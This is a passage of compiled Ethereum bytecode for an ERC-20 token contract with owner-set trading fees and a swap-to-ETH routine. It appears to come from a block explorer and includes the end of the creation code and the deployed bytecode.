1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610e1e6110cb565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea19061244f565b60405180910390fd5b80600f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601060156101000a81548160ff02191690831515021790555050565b60095481565b610f166110cb565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f999061244f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611010576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611007906124dd565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611140576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111379061256b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a5906125f9565b60405180910390fd5b8060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112889190612241565b60405180910390a3505050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611304576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fb90612687565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611372576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136990612715565b60405180910390fd5b5f82116113b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ab906127a3565b60405180910390fd5b601060149054906101000a900460ff16156113db576113d48484846117cd565b9050611707565b5f6113e5306109dc565b9050601060149054906101000a900460ff1615801561144b575060085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156114635750601060159054906101000a900460ff165b1561148e57601060169054906101000a900460ff161561148357600c5490505b61148d8186611997565b5b611515836040518060400160405280601481526020017f496e73756666696369656e742042616c616e636500000000000000000000000081525060055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461170e9092919063ffffffff16565b60055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f60075f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16806115f2575060075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b61160657611601868686611c60565b611608565b835b905061165a8160055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461177090919063ffffffff16565b60055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116f89190612241565b60405180910390a36001925050505b9392505050565b5f838311158290611755576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174c919061209c565b60405180910390fd5b505f838561176391906127ee565b9050809150509392505050565b5f80828461177e9190612821565b9050838110156117c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ba9061289e565b60405180910390fd5b8091505092915050565b5f611855826040518060400160405280601481526020017f496e73756666696369656e742042616c616e636500000000000000000000000081525060055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461170e9092919063ffffffff16565b60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506118e68260055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461177090919063ffffffff16565b60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119849190612241565b60405180910390a3600190509392505050565b6001601060146101000a81548160ff0219169083151502179055505f600367ffffffffffffffff8111156119ce576119cd6128bc565b5b6040519080825280602002602001820160405280156119fc5781602001602082028036833780820191505090505b50905030815f81518110611a1357611a126128e9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508181600181518110611a6257611a616128e9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b06573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611b2a919061292a565b81600281518110611b3e57611b3d6128e9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947845f8430426040518663ffffffff1660e01b8152600401611bda959493929190612a45565b5f604051808303815f87803b158015611bf1575f80fd5b505af1158015611c03573d5f803e3d5ffd5b505050505f4790505f811115611c4057611c3f600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611e7a565b5b50505f601060146101000a81548160ff0219169083151502179055505050565b5f805f905060085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615611ce357611cdc6064611cce60095486611ec290919063ffffffff16565b611f3990919063ffffffff16565b9050611d5e565b60085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615611d5d57611d5a6064611d4c600a5486611ec290919063ffffffff16565b611f3990919063ffffffff16565b90505b5b5f811115611e5d57611db68160055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461177090919063ffffffff16565b60055f8073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e549190612241565b60405180910390a35b611e708184611f8290919063ffffffff16565b9150509392505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611ebd573d5f803e3d5ffd5b505050565b5f808303611ed2575f9050611f33565b5f8284611edf9190612a9d565b9050828482611eee9190612b0b565b14611f2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f2590612bab565b60405180910390fd5b809150505b92915050565b5f611f7a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611fcb565b905092915050565b5f611fc383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061170e565b905092915050565b5f8083118290612011576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612008919061209c565b60405180910390fd5b505f838561201f9190612b0b565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61206e8261202c565b6120788185612036565b9350612088818560208601612046565b61209181612054565b840191505092915050565b5f6020820190508181035f8301526120b48184612064565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6120e9826120c0565b9050919050565b6120f9816120df565b8114612103575f80fd5b50565b5f81359050612114816120f0565b92915050565b5f819050919050565b61212c8161211a565b8114612136575f80fd5b50565b5f8135905061214781612123565b92915050565b5f8060408385031215612163576121626120bc565b5b5f61217085828601612106565b925050602061218185828601612139565b9150509250929050565b5f8115159050919050565b61219f8161218b565b82525050565b5f6020820190506121b85f830184612196565b92915050565b5f819050919050565b5f6121e16121dc6121d7846120c0565b6121be565b6120c0565b9050919050565b5f6121f2826121c7565b9050919050565b5f612203826121e8565b9050919050565b612213816121f9565b82525050565b5f60208201905061222c5f83018461220a565b92915050565b61223b8161211a565b82525050565b5f6020820190506122545f830184612232565b92915050565b5f805f60608486031215612271576122706120bc565b5b5f61227e86828701612106565b935050602061228f86828701612106565b92505060406122a086828701612139565b9150509250925092565b6122b3816120df565b82525050565b5f6020820190506122cc5f8301846122aa565b92915050565b5f60ff82169050919050565b6122e7816122d2565b82525050565b5f6020820190506123005f8301846122de565b92915050565b5f6020828403121561231b5761231a6120bc565b5b5f61232884828501612106565b91505092915050565b5f61233b826120c0565b9050919050565b61234b81612331565b82525050565b5f6020820190506123645f830184612342565b92915050565b5f80604083850312156123805761237f6120bc565b5b5f61238d85828601612106565b925050602061239e85828601612106565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806123ec57607f821691505b6020821081036123ff576123fe6123a8565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612439602083612036565b915061244482612405565b602082019050919050565b5f6020820190508181035f8301526124668161242d565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6124c7602683612036565b91506124d28261246d565b604082019050919050565b5f6020820190508181035f8301526124f4816124bb565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612555602483612036565b9150612560826124fb565b604082019050919050565b5f6020820190508181035f83015261258281612549565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6125e3602283612036565b91506125ee82612589565b604082019050919050565b5f6020820190508181035f830152612610816125d7565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612671602583612036565b915061267c82612617565b604082019050919050565b5f6020820190508181035f83015261269e81612665565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6126ff602383612036565b915061270a826126a5565b604082019050919050565b5f6020820190508181035f83015261272c816126f3565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f61278d602983612036565b915061279882612733565b604082019050919050565b5f6020820190508181035f8301526127ba81612781565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6127f88261211a565b91506128038361211a565b925082820390508181111561281b5761281a6127c1565b5b92915050565b5f61282b8261211a565b91506128368361211a565b925082820190508082111561284e5761284d6127c1565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612888601b83612036565b915061289382612854565b602082019050919050565b5f6020820190508181035f8301526128b58161287c565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050612924816120f0565b92915050565b5f6020828403121561293f5761293e6120bc565b5b5f61294c84828501612916565b91505092915050565b5f819050919050565b5f61297861297361296e84612955565b6121be565b61211a565b9050919050565b6129888161295e565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6129c0816120df565b82525050565b5f6129d183836129b7565b60208301905092915050565b5f602082019050919050565b5f6129f38261298e565b6129fd8185612998565b9350612a08836129a8565b805f5b83811015612a38578151612a1f88826129c6565b9750612a2a836129dd565b925050600181019050612a0b565b5085935050505092915050565b5f60a082019050612a585f830188612232565b612a65602083018761297f565b8181036040830152612a7781866129e9565b9050612a8660608301856122aa565b612a936080830184612232565b9695505050505050565b5f612aa78261211a565b9150612ab28361211a565b9250828202612ac08161211a565b91508282048414831517612ad757612ad66127c1565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612b158261211a565b9150612b208361211a565b925082612b3057612b2f612ade565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612b95602183612036565b9150612ba082612b3b565b604082019050919050565b5f6020820190508181035f830152612bc281612b89565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220a7d99d5177a9e38e167aa492c2c93a7f3611a1cd5464f78fd27708fea8ab5e4f64736f6c634300081a0033

Deployed Bytecode

0x6080604052600436106101ba575f3560e01c806382eefb43116100eb578063c816841b11610089578063dd62ed3e11610063578063dd62ed3e14610631578063e5d69ba51461066d578063f0cd1dac14610695578063f2fde38b146106bf576101c1565b8063c816841b146105b3578063d158272d146105dd578063da00097d14610607576101c1565b806395d89b41116100c557806395d89b41146104e7578063a457c2d714610511578063a9059cbb1461054d578063b2bdfa7b14610589576101c1565b806382eefb431461047d5780638da5cb5b146104a7578063914eb66a146104d1576101c1565b806339509351116101585780634a74bb02116101325780634a74bb02146103b15780635342acb4146103db578063557ed1ba1461041757806370a0823114610441576101c1565b8063395093511461030f5780633ecad2711461034b578063405ac9e814610387576101c1565b806318160ddd1161019457806318160ddd1461025557806323b872dd1461027f57806327c8f835146102bb578063313ce567146102e5576101c1565b806306fdde03146101c5578063095ea7b3146101ef5780631694505e1461022b576101c1565b366101c157005b5f80fd5b3480156101d0575f80fd5b506101d96106e7565b6040516101e6919061209c565b60405180910390f35b3480156101fa575f80fd5b506102156004803603810190610210919061214d565b610777565b60405161022291906121a5565b60405180910390f35b348015610236575f80fd5b5061023f610794565b60405161024c9190612219565b60405180910390f35b348015610260575f80fd5b506102696107b9565b6040516102769190612241565b60405180910390f35b34801561028a575f80fd5b506102a560048036038101906102a0919061225a565b6107c2565b6040516102b291906121a5565b60405180910390f35b3480156102c6575f80fd5b506102cf610897565b6040516102dc91906122b9565b60405180910390f35b3480156102f0575f80fd5b506102f96108bc565b60405161030691906122ed565b60405180910390f35b34801561031a575f80fd5b506103356004803603810190610330919061214d565b6108d1565b60405161034291906121a5565b60405180910390f35b348015610356575f80fd5b50610371600480360381019061036c9190612306565b61097f565b60405161037e91906121a5565b60405180910390f35b348015610392575f80fd5b5061039b61099c565b6040516103a89190612241565b60405180910390f35b3480156103bc575f80fd5b506103c56109a5565b6040516103d291906121a5565b60405180910390f35b3480156103e6575f80fd5b5061040160048036038101906103fc9190612306565b6109b8565b60405161040e91906121a5565b60405180910390f35b348015610422575f80fd5b5061042b6109d5565b6040516104389190612241565b60405180910390f35b34801561044c575f80fd5b5061046760048036038101906104629190612306565b6109dc565b6040516104749190612241565b60405180910390f35b348015610488575f80fd5b50610491610a22565b60405161049e9190612241565b60405180910390f35b3480156104b2575f80fd5b506104bb610a28565b6040516104c891906122b9565b60405180910390f35b3480156104dc575f80fd5b506104e5610a4f565b005b3480156104f2575f80fd5b506104fb610b9d565b604051610508919061209c565b60405180910390f35b34801561051c575f80fd5b506105376004803603810190610532919061214d565b610c2d565b60405161054491906121a5565b60405180910390f35b348015610558575f80fd5b50610573600480360381019061056e919061214d565b610cf5565b60405161058091906121a5565b60405180910390f35b348015610594575f80fd5b5061059d610d13565b6040516105aa91906122b9565b60405180910390f35b3480156105be575f80fd5b506105c7610d36565b6040516105d491906122b9565b60405180910390f35b3480156105e8575f80fd5b506105f1610d5b565b6040516105fe9190612351565b60405180910390f35b348015610612575f80fd5b5061061b610d81565b60405161062891906121a5565b60405180910390f35b34801561063c575f80fd5b506106576004803603810190610652919061236a565b610d94565b6040516106649190612241565b60405180910390f35b348015610678575f80fd5b50610693600480360381019061068e9190612306565b610e16565b005b3480156106a0575f80fd5b506106a9610f08565b6040516106b69190612241565b60405180910390f35b3480156106ca575f80fd5b506106e560048036038101906106e09190612306565b610f0e565b005b6060600180546106f6906123d5565b80601f0160208091040260200160405190810160405280929190818152602001828054610722906123d5565b801561076d5780601f106107445761010080835404028352916020019161076d565b820191905f5260205f20905b81548152906001019060200180831161075057829003601f168201915b5050505050905090565b5f61078a6107836110cb565b84846110d2565b6001905092915050565b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600b54905090565b5f6107ce848484611295565b5061088c846107db6110cb565b61088785604051806060016040528060288152602001612bca6028913960065f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61083e6110cb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461170e9092919063ffffffff16565b6110d2565b600190509392505050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60035f9054906101000a900460ff16905090565b5f6109756108dd6110cb565b846109708560065f6108ed6110cb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461177090919063ffffffff16565b6110d2565b6001905092915050565b6008602052805f5260405f205f915054906101000a900460ff1681565b5f600c54905090565b601060159054906101000a900460ff1681565b6007602052805f5260405f205f915054906101000a900460ff1681565b5f42905090565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b600a5481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610a576110cb565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ada9061244f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060028054610bac906123d5565b80601f0160208091040260200160405190810160405280929190818152602001828054610bd8906123d5565b8015610c235780601f10610bfa57610100808354040283529160200191610c23565b820191905f5260205f20905b815481529060010190602001808311610c0657829003601f168201915b5050505050905090565b5f610ceb610c396110cb565b84610ce685604051806060016040528060258152602001612bf26025913960065f610c626110cb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461170e9092919063ffffffff16565b6110d2565b6001905092915050565b5f610d08610d016110cb565b8484611295565b506001905092915050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601060169054906101000a900460ff1681565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610e1e6110cb565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea19061244f565b60405180910390fd5b80600f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601060156101000a81548160ff02191690831515021790555050565b60095481565b610f166110cb565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f999061244f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611010576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611007906124dd565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611140576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111379061256b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a5906125f9565b60405180910390fd5b8060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112889190612241565b60405180910390a3505050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611304576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fb90612687565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611372576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136990612715565b60405180910390fd5b5f82116113b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ab906127a3565b60405180910390fd5b601060149054906101000a900460ff16156113db576113d48484846117cd565b9050611707565b5f6113e5306109dc565b9050601060149054906101000a900460ff1615801561144b575060085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156114635750601060159054906101000a900460ff165b1561148e57601060169054906101000a900460ff161561148357600c5490505b61148d8186611997565b5b611515836040518060400160405280601481526020017f496e73756666696369656e742042616c616e636500000000000000000000000081525060055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461170e9092919063ffffffff16565b60055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f60075f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16806115f2575060075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b61160657611601868686611c60565b611608565b835b905061165a8160055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461177090919063ffffffff16565b60055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116f89190612241565b60405180910390a36001925050505b9392505050565b5f838311158290611755576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174c919061209c565b60405180910390fd5b505f838561176391906127ee565b9050809150509392505050565b5f80828461177e9190612821565b9050838110156117c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ba9061289e565b60405180910390fd5b8091505092915050565b5f611855826040518060400160405280601481526020017f496e73756666696369656e742042616c616e636500000000000000000000000081525060055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461170e9092919063ffffffff16565b60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506118e68260055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461177090919063ffffffff16565b60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119849190612241565b60405180910390a3600190509392505050565b6001601060146101000a81548160ff0219169083151502179055505f600367ffffffffffffffff8111156119ce576119cd6128bc565b5b6040519080825280602002602001820160405280156119fc5781602001602082028036833780820191505090505b50905030815f81518110611a1357611a126128e9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508181600181518110611a6257611a616128e9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b06573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611b2a919061292a565b81600281518110611b3e57611b3d6128e9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947845f8430426040518663ffffffff1660e01b8152600401611bda959493929190612a45565b5f604051808303815f87803b158015611bf1575f80fd5b505af1158015611c03573d5f803e3d5ffd5b505050505f4790505f811115611c4057611c3f600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611e7a565b5b50505f601060146101000a81548160ff0219169083151502179055505050565b5f805f905060085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615611ce357611cdc6064611cce60095486611ec290919063ffffffff16565b611f3990919063ffffffff16565b9050611d5e565b60085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615611d5d57611d5a6064611d4c600a5486611ec290919063ffffffff16565b611f3990919063ffffffff16565b90505b5b5f811115611e5d57611db68160055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461177090919063ffffffff16565b60055f8073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e549190612241565b60405180910390a35b611e708184611f8290919063ffffffff16565b9150509392505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611ebd573d5f803e3d5ffd5b505050565b5f808303611ed2575f9050611f33565b5f8284611edf9190612a9d565b9050828482611eee9190612b0b565b14611f2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f2590612bab565b60405180910390fd5b809150505b92915050565b5f611f7a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611fcb565b905092915050565b5f611fc383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061170e565b905092915050565b5f8083118290612011576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612008919061209c565b60405180910390fd5b505f838561201f9190612b0b565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f83011690